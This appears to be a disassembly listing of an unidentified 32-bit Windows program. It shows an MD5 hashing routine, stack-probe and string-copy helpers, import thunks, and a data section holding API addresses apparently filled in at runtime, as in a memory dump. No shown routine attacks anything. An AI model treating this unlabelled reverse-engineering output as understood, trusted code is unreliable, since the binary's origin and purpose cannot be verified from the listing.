mov eax, [esi+ecx*4]
cmp eax, [edi+ecx*4]
jb short locret_44420B
ja short loc_4441EF
dec ecx
jns short loc_4441E2
loc_4441EF: ; CODE XREF: sub_4441D4+16j
mov esi, [ebp+14h]
lea edi, dword_44C98C
xor eax, eax
mov ecx, 10h
loc_4441FF: ; CODE XREF: sub_4441D4+35j
mov eax, [esi]
sbb [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_4441FF
locret_44420B: ; CODE XREF: sub_4441D4+14j
retn
sub_4441D4 endp
; =============== S U B R O U T I N E =======================================
sub_44420C proc near ; CODE XREF: sub_44425D+32p
; sub_44425D+50p ...
mov eax, ebx
and eax, ecx
push ebx
not ebx
and ebx, edx
or eax, ebx
pop ebx
retn
sub_44420C endp
; =============== S U B R O U T I N E =======================================
sub_444219 proc near ; CODE XREF: sub_44425D+219p
; sub_44425D+238p ...
mov eax, ebx
and eax, edx
push edx
not edx
and edx, ecx
or eax, edx
pop edx
retn
sub_444219 endp
; =============== S U B R O U T I N E =======================================
sub_444226 proc near ; CODE XREF: sub_44425D+420p
; sub_44425D+43Fp ...
mov eax, ebx
xor eax, ecx
xor eax, edx
retn
sub_444226 endp
; =============== S U B R O U T I N E =======================================
sub_44422D proc near ; CODE XREF: sub_44425D+627p
; sub_44425D+645p ...
mov eax, edx
not eax
or eax, ebx
xor eax, ecx
retn
sub_44422D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444236 proc near ; CODE XREF: sub_43C281+6Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov dword ptr [edi], 67452301h
mov dword ptr [edi+4], 0EFCDAB89h
mov dword ptr [edi+8], 98BADCFEh
mov dword ptr [edi+0Ch], 10325476h
popa
pop ebp
retn 4
sub_444236 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44425D proc near ; CODE XREF: sub_43C281+8Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [edi]
mov dword_44CA0C, eax
mov eax, [edi+4]
mov dword_44CA10, eax
mov eax, [edi+8]
mov dword_44CA14, eax
mov eax, [edi+0Ch]
mov dword_44CA18, eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_44420C
add eax, [edi]
add eax, [esi]
add eax, 0D76AA478h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_44420C
add eax, [edi+0Ch]
add eax, [esi+4]
add eax, 0E8C7B756h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_44420C
add eax, [edi+8]
add eax, [esi+8]
add eax, 242070DBh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_44420C
add eax, [edi+4]
add eax, [esi+0Ch]
add eax, 0C1BDCEEEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_44420C
add eax, [edi]
add eax, [esi+10h]
add eax, 0F57C0FAFh
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_44420C
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A8304613h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_44420C
add eax, [edi+4]
add eax, [esi+1Ch]
add eax, 0FD469501h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_44420C
add eax, [edi]
add eax, [esi+20h]
add eax, 698098D8h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_44420C
add eax, [edi+0Ch]
add eax, [esi+24h]
add eax, 8B44F7AFh
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_44420C
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFFF5BB1h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_44420C
add eax, [edi+4]
add eax, [esi+2Ch]
add eax, 895CD7BEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_44420C
add eax, [edi]
add eax, [esi+30h]
add eax, 6B901122h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_44420C
add eax, [edi+0Ch]
add eax, [esi+34h]
add eax, 0FD987193h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_44420C
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0A679438Eh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_44420C
add eax, [edi+4]
add eax, [esi+3Ch]
add eax, 49B40821h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_444219
add eax, [edi]
add eax, [esi+4]
add eax, 0F61E2562h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_444219
add eax, [edi+0Ch]
add eax, [esi+18h]
add eax, 0C040B340h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_444219
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 265E5A51h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_444219
add eax, [edi+4]
add eax, [esi]
add eax, 0E9B6C7AAh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_444219
add eax, [edi]
add eax, [esi+14h]
add eax, 0D62F105Dh
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_444219
add eax, [edi+0Ch]
add eax, [esi+28h]
add eax, 2441453h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_444219
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 0D8A1E681h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_444219
add eax, [edi+4]
add eax, [esi+10h]
add eax, 0E7D3FBC8h
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_444219
add eax, [edi]
add eax, [esi+24h]
add eax, 21E1CDE6h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_444219
add eax, [edi+0Ch]
add eax, [esi+38h]
add eax, 0C33707D6h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_444219
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0F4D50D87h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_444219
add eax, [edi+4]
add eax, [esi+20h]
add eax, 455A14EDh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_444219
add eax, [edi]
add eax, [esi+34h]
add eax, 0A9E3E905h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_444219
add eax, [edi+0Ch]
add eax, [esi+8]
add eax, 0FCEFA3F8h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_444219
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 676F02D9h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_444219
add eax, [edi+4]
add eax, [esi+30h]
add eax, 8D2A4C8Ah
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_444226
add eax, [edi]
add eax, [esi+14h]
add eax, 0FFFA3942h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_444226
add eax, [edi+0Ch]
add eax, [esi+20h]
add eax, 8771F681h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_444226
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 6D9D6122h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_444226
add eax, [edi+4]
add eax, [esi+38h]
add eax, 0FDE5380Ch
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_444226
add eax, [edi]
add eax, [esi+4]
add eax, 0A4BEEA44h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_444226
add eax, [edi+0Ch]
add eax, [esi+10h]
add eax, 4BDECFA9h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_444226
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 0F6BB4B60h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_444226
add eax, [edi+4]
add eax, [esi+28h]
add eax, 0BEBFBC70h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_444226
add eax, [edi]
add eax, [esi+34h]
add eax, 289B7EC6h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_444226
add eax, [edi+0Ch]
add eax, [esi]
add eax, 0EAA127FAh
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_444226
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0D4EF3085h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_444226
add eax, [edi+4]
add eax, [esi+18h]
add eax, 4881D05h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_444226
add eax, [edi]
add eax, [esi+24h]
add eax, 0D9D4D039h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_444226
add eax, [edi+0Ch]
add eax, [esi+30h]
add eax, 0E6DB99E5h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_444226
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 1FA27CF8h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_444226
add eax, [edi+4]
add eax, [esi+8]
add eax, 0C4AC5665h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_44422D
add eax, [edi]
add eax, [esi]
add eax, 0F4292244h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_44422D
add eax, [edi+0Ch]
add eax, [esi+1Ch]
add eax, 432AFF97h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_44422D
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0AB9423A7h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_44422D
add eax, [edi+4]
add eax, [esi+14h]
add eax, 0FC93A039h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_44422D
add eax, [edi]
add eax, [esi+30h]
add eax, 655B59C3h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_44422D
add eax, [edi+0Ch]
add eax, [esi+0Ch]
add eax, 8F0CCC92h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_44422D
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFEFF47Dh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_44422D
add eax, [edi+4]
add eax, [esi+4]
add eax, 85845DD1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_44422D
add eax, [edi]
add eax, [esi+20h]
add eax, 6FA87E4Fh
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_44422D
add eax, [edi+0Ch]
add eax, [esi+3Ch]
add eax, 0FE2CE6E0h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_44422D
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A3014314h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_44422D
add eax, [edi+4]
add eax, [esi+34h]
add eax, 4E0811A1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_44422D
add eax, [edi]
add eax, [esi+10h]
add eax, 0F7537E82h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_44422D
add eax, [edi+0Ch]
add eax, [esi+2Ch]
add eax, 0BD3AF235h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_44422D
add eax, [edi+8]
add eax, [esi+8]
add eax, 2AD7D2BBh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_44422D
add eax, [edi+4]
add eax, [esi+24h]
add eax, 0EB86D391h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov eax, dword_44CA0C
add [edi], eax
mov eax, dword_44CA10
add [edi+4], eax
mov eax, dword_44CA14
add [edi+8], eax
mov eax, dword_44CA18
add [edi+0Ch], eax
popa
pop ebp
xor eax, eax
retn 8
sub_44425D endp
; =============== S U B R O U T I N E =======================================
sub_444AA8 proc near ; CODE XREF: sub_444AC5+1Ep
var_FFC = dword ptr -0FFCh
pop ecx
loc_444AA9: ; CODE XREF: sub_444AA8+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_444AA9
sub esp, eax
test [esp+0FFCh+var_FFC], eax
push ecx
retn
sub_444AA8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_444AC5 proc near ; CODE XREF: sub_43D8A3+38p
arg_0 = dword ptr 4
pop ecx
pop eax
add eax, 3
shr eax, 2
shl eax, 2
cmp eax, 1000h
jl short loc_444AF5
mov edx, esp
push eax
fild [esp-4+arg_0]
mov [esp-4+arg_0], ecx
fild [esp-4+arg_0]
call sub_444AA8
mov esp, edx
push edx
fistp dword ptr [esp+0]
mov ecx, [esp+0]
fistp dword ptr [esp+0]
pop eax
loc_444AF5: ; CODE XREF: sub_444AC5+10j
sub esp, eax
mov eax, esp
mov dword ptr [eax], 0
push ecx
push ecx
retn
sub_444AC5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_444B04 proc near ; CODE XREF: .text:0043A1BAp
; DATA XREF: .data:off_44B000o
xor eax, eax
inc eax
retn 0Ch
sub_444B04 endp
; ---------------------------------------------------------------------------
align 4
push eax
fnstcw word ptr [esp]
mov eax, [esp]
btr dword ptr [esp], 8
or word ptr [esp], 200h
; START OF FUNCTION CHUNK FOR sub_444B2F
loc_444B1E: ; CODE XREF: sub_444B2F+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
loc_444B22: ; CODE XREF: .text:00444B2Dj
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_444B2F
; ---------------------------------------------------------------------------
push eax
fnstcw word ptr [esp]
pop eax
jmp short loc_444B22
; =============== S U B R O U T I N E =======================================
sub_444B2F proc near ; CODE XREF: .text:loc_43A1A7p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00444B1E SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_444B1E
sub_444B2F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_444B40 proc near ; CODE XREF: sub_43B260+8p
; sub_43B780+8p ...
var_FFC = dword ptr -0FFCh
pop ecx
loc_444B41: ; CODE XREF: sub_444B40+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_444B41
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_444B40 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_444B60 proc near ; CODE XREF: sub_43AA99+31p
; sub_43AA99+44p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_444B60 endp
; ---------------------------------------------------------------------------
align 4
jmp ds:dword_44D0AC
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_444B98 proc near ; CODE XREF: sub_43A25C+10p
jmp ds:dword_44D0B0
sub_444B98 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_444BA4 proc near ; CODE XREF: sub_43A080+13p
jmp ds:dword_44D0B4
sub_444BA4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_444BB0 proc near ; CODE XREF: sub_43A1C3+33p
; sub_43A1C3+45p ...
jmp ds:dword_44D0C0
sub_444BB0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_444BBC proc near ; CODE XREF: sub_43A1C3+Bp
; sub_43A1C3+17p ...
jmp ds:dword_44D0C4
sub_444BBC endp
; ---------------------------------------------------------------------------
align 8
jmp ds:dword_44D0C8
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; ---------------------------------------------------------------------------
jmp ds:dword_44D0CC
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_444BE0 proc near ; CODE XREF: sub_43A25C+4Ep
; sub_43A25C+87p
jmp ds:dword_44D0D0
sub_444BE0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_444BEC proc near ; CODE XREF: .text:0043A186p
jmp ds:dword_44D0D4
sub_444BEC endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_444BF8 proc near ; CODE XREF: sub_43A1C3+71p
; sub_43A1C3+86p
jmp ds:dword_44D0D8
sub_444BF8 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_444C04 proc near ; CODE XREF: sub_43A25C+9Ep
jmp ds:dword_44D0DC
sub_444C04 endp
; ---------------------------------------------------------------------------
align 10h
_text ends
; Section 5. (virtual address 00045000)
; Virtual size : 00005BD8 ( 23512.)
; Section size in file : 00005BD8 ( 23512.)
; Offset to raw data for section: 00045000
; Flags C0000080: Bss Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Uninitialized
; Segment permissions: Read/Write
_bss segment para public 'BSS' use32
assume cs:_bss
;org 445000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_445000 dd 77E77EF1h ; DATA XREF: sub_43A9C0+Dr
; sub_440457+130w
dword_445004 dd 77D46254h ; DATA XREF: sub_43D7F1+14r
; sub_43D7F1+75r ...
dword_445008 dd 77E73628h ; DATA XREF: sub_43C38A+1391r
; sub_440457+A4w ...
dword_44500C dd 77E79924h ; DATA XREF: sub_43A9C0+34r
; sub_440457+168w
dword_445010 dd 77E778C5h ; DATA XREF: sub_43D874+20r
; sub_43DDA6+18r ...
dword_445014 dd 77D4702Fh ; DATA XREF: sub_43EA51+226w
; sub_43EEA0+5Ar ...
dword_445018 dd 0 ; DATA XREF: sub_43B52C+D0w
; sub_443589+171r
dword_44501C dd 76C693F0h ; DATA XREF: sub_442822+53w
; sub_442A46+198r
dword_445020 dd 73D9E65Ch ; DATA XREF: sub_43A34D+170r
; sub_43A34D+212r ...
dword_445024 dd 0 ; DATA XREF: sub_43DAAC+1DFr
; sub_43ED61+F9w
dword_445028 dd 77E78B82h ; DATA XREF: sub_43ACC9+7Dr
; sub_43ADAC+F0r ...
dword_44502C dd 77F82D5Ch ; DATA XREF: sub_43C281+53r
; sub_440457+280w
dword_445030 dd 73D9ADFAh ; DATA XREF: sub_43DEF2+23Dr
; sub_43DEF2+261r ...
dword_445034 dd 77E6AD34h ; DATA XREF: sub_440457+1BCw
dword_445038 dd 77121651h ; DATA XREF: sub_43AED7+9Ew
; sub_43F0EA+17r ...
dword_44503C dd 77DD23D7h ; DATA XREF: sub_44015B+66w
; sub_440FBB+3Er
dword_445040 dd 77D47EC7h ; DATA XREF: sub_43EA51+1EEw
dword_445044 dd 77121680h ; DATA XREF: sub_43AED7+4Aw
; sub_43B780+22r ...
dword_445048 dd 77D5264Ah ; DATA XREF: sub_43EA51+309w
; sub_440914+26r
dword_44504C dd 0 ; DATA XREF: sub_43A34D+542r
; sub_43B52C+7Cw
dword_445050 dd 77D441F2h ; DATA XREF: sub_43EA51+BAw
; sub_442C0A+259r
dword_445054 dd 73D9BBAAh ; DATA XREF: sub_43B52C+21Cr
; sub_43B780+2EAr ...
align 10h
dword_445060 dd 0 ; DATA XREF: sub_43B780+3CBr
; sub_43B780+4DFw ...
dd 3E7h dup(0)
dword_446000 dd 77E78C17h ; DATA XREF: sub_43E8A2+EDr
; sub_440457+344w
dword_446004 dd 77E75E67h ; DATA XREF: sub_43DAAC+298r
; sub_440457+2D4w ...
dword_446008 dd 77E79908h ; DATA XREF: sub_43EFD7+18r
; sub_440C06+376w ...
dword_44600C dd 77E62D7Ah ; DATA XREF: sub_440457+34w
dword_446010 dd 77D5C2CCh ; DATA XREF: sub_43D7F1+31r
; sub_43EA51+D6w
align 10h
dword_446020 dd 40h dup(0) ; DATA XREF: sub_43B52C+8Co
; sub_43C154+74o ...
dword_446120 dd 77C724ACh ; DATA XREF: sub_43AA12+69w
; sub_442C0A+127r
align 10h
dword_446130 dd 0 ; DATA XREF: sub_43B780+3BBr
; sub_43B780+3E3w ...
dd 3E7h dup(0)
dword_4470D0 dd 771C6F69h ; DATA XREF: sub_43FEB1+3Fr
; sub_442386+82w
dword_4470D4 dd 77E6869Bh ; DATA XREF: sub_43E8A2+107r
; sub_440457+360w
dword_4470D8 dd 771C16BAh ; DATA XREF: sub_442386+9Ew
dword_4470DC dd 77D4DC11h ; DATA XREF: sub_43EA51+20Aw
; sub_442C0A+154r
dword_4470E0 dd 77E684C6h ; DATA XREF: sub_440457+14Cw
; sub_442E96+48Br
align 10h
dword_4470F0 dd 41h dup(0) ; DATA XREF: sub_43AA99+25o
; sub_43B260+1Fo ...
dword_4471F4 dd 73D9E660h ; DATA XREF: sub_43C38A+45Br
; sub_43C38A+765r ...
dword_4471F8 dd 77E7A5FDh ; DATA XREF: sub_43AA12+44r
; sub_43AA12+63r ...
align 10h
byte_447200 db 0 ; DATA XREF: sub_43B780+3D4r
; sub_43B780+4EEw ...
align 4
dd 0F9h dup(0)
dword_4475E8 dd 77E79F93h ; DATA XREF: sub_43AA12+Dr
; sub_43AD5A+Dr ...
dword_4475EC dd 77DD22EAh ; DATA XREF: sub_44015B+4Aw
; sub_440FBB+1Dr
dword_4475F0 dd 77D4456Bh ; DATA XREF: sub_43EA51+F2w
dword_4475F4 dd 77E7513Ch ; DATA XREF: sub_43AFB5+120r
; sub_440457+4B6w
dword_4475F8 dd 77D49951h ; DATA XREF: sub_43EA51+27Aw
; sub_44108E+E29r ...
dword_4475FC dd 77E704FCh ; DATA XREF: sub_43ADAC+17r
; sub_43B182+18r ...
dword_447600 dd 76C69891h ; DATA XREF: sub_4425F7+54w
; sub_442A46+16Fr
dword_447604 dd 0 ; DATA XREF: sub_43C13D+3o
; sub_43C13D+Er ...
dword_447608 dd 77E78EAAh ; DATA XREF: sub_440457+2F0w
; sub_4438E7+40r ...
dword_44760C dd 100E0h ; DATA XREF: sub_442C0A+1D8w
dword_447610 dd 0EA00h ; DATA XREF: sub_442A46:loc_442BE4r
; sub_442C0A+1FEw
dword_447614 dd 77D46F5Bh ; DATA XREF: sub_43EA51+82w
; sub_440306+13r
dword_447618 dd 77E79A45h ; DATA XREF: sub_43AA99+21Er
; sub_43AA99+225r ...
dword_44761C dd 0 ; DATA XREF: sub_43B52C+15Fw
; sub_43B52C+1D4w ...
dword_447620 dd 771C1E56h ; DATA XREF: sub_43FEB1+58r
; sub_442386+66w
align 10h
dword_447630 dd 0 ; DATA XREF: sub_43E8A2+DFw
; sub_43E8A2+12Dw ...
dd 0FEh dup(0)
dword_447A2C dd 73D9C489h ; DATA XREF: sub_442662+BAw
dword_447A30 dd 0 ; DATA XREF: sub_43B52C+BAw
dword_447A34 dd 77E79881h ; DATA XREF: sub_43AA99+D1r
; sub_43AA99+E0r ...
dword_447A38 dd 73D9C4C5h ; DATA XREF: sub_442662+9Ew
dword_447A3C dd 77E777EFh ; DATA XREF: sub_43A324+8r
; sub_43AA82+8r ...
dword_447A40 dd 77D48137h ; DATA XREF: sub_43A34D+70r
; sub_43A34D+A5r ...
dword_447A44 dd 77414CDCh ; DATA XREF: sub_43AD5A+4Bw
; sub_43BE25+21r ...
align 10h
word_447A50 dw 0 ; DATA XREF: sub_43B780+51Dw
; sub_43B780+54Cr ...
align 4
dd 1F3h dup(0)
dword_448220 dd 77D47EE5h ; DATA XREF: sub_43EA51+19Aw
; sub_442C0A+108r
dword_448224 dd 77D49A11h ; DATA XREF: sub_43A34D+535r
; sub_43EA51+9Ew
dword_448228 dd 0 ; DATA XREF: sub_43B52C+AFw
; sub_43D8A3:loc_43D91Dr
align 10h
dword_448230 dd 5 dup(0) ; DATA XREF: sub_43B52C+9Fo
; sub_43B780+18Bo ...
dword_448244 dd 77E805D8h ; DATA XREF: sub_43AA12+28r
; sub_43AD5A+28r ...
dword_448248 dd 77E7980Ah ; DATA XREF: sub_440457+1F4w
; sub_441077+Fr
dword_44824C dd 73DA018Fh ; DATA XREF: sub_442662+19Aw
